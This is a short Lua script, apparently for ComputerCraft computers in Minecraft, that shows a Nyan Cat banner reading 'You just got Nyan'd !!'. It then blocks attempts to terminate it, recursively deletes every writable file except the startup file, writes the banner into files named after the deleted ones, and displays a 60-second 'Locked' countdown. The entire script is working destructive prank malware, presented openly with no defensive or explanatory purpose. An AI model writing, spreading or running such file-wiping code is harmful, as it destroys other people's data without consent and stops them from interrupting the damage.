nyancat = [[
+      o     +              o
    +             o     +       +
o          +
    o  +           +        +
+        o     o       +        o
-_-_-_-_-_-_-_,------,      o
_-_-_-_-_-_-_-|   /\_/\
-_-_-_-_-_-_-~|__( ^ .^)  +     +
_-_-_-_-_-_-_-""  ""
+      o         o   +       o
    +         +
o        o         o      o     +
    o           +
+      +     o        o      +

"You just got Nyan'd !!"
]]

shell.run("clear")
write(nyancat)

os.pullEvent = os.pullEventRaw

function delete(path)
	files = fs.list(path)
	for n=1,#files do
		if files[n] == "startup" or fs.isReadOnly(path.. "/" ..files[n]) then else
			if fs.isDir(path.. "/" ..files[n]) then
				delete(path.. "/" ..files[n])
			else
				fs.delete(path.. "/" ..files[n])
				test = fs.open(files[n], "w")
				test.write(nyancat)
				test.close()
			end
		end
	end
end

delete("/")

sleep(3)
for i = 1,60 do
	shell.run("clear")
	write("Locked for " ..i.. "s")
	sleep(1)
end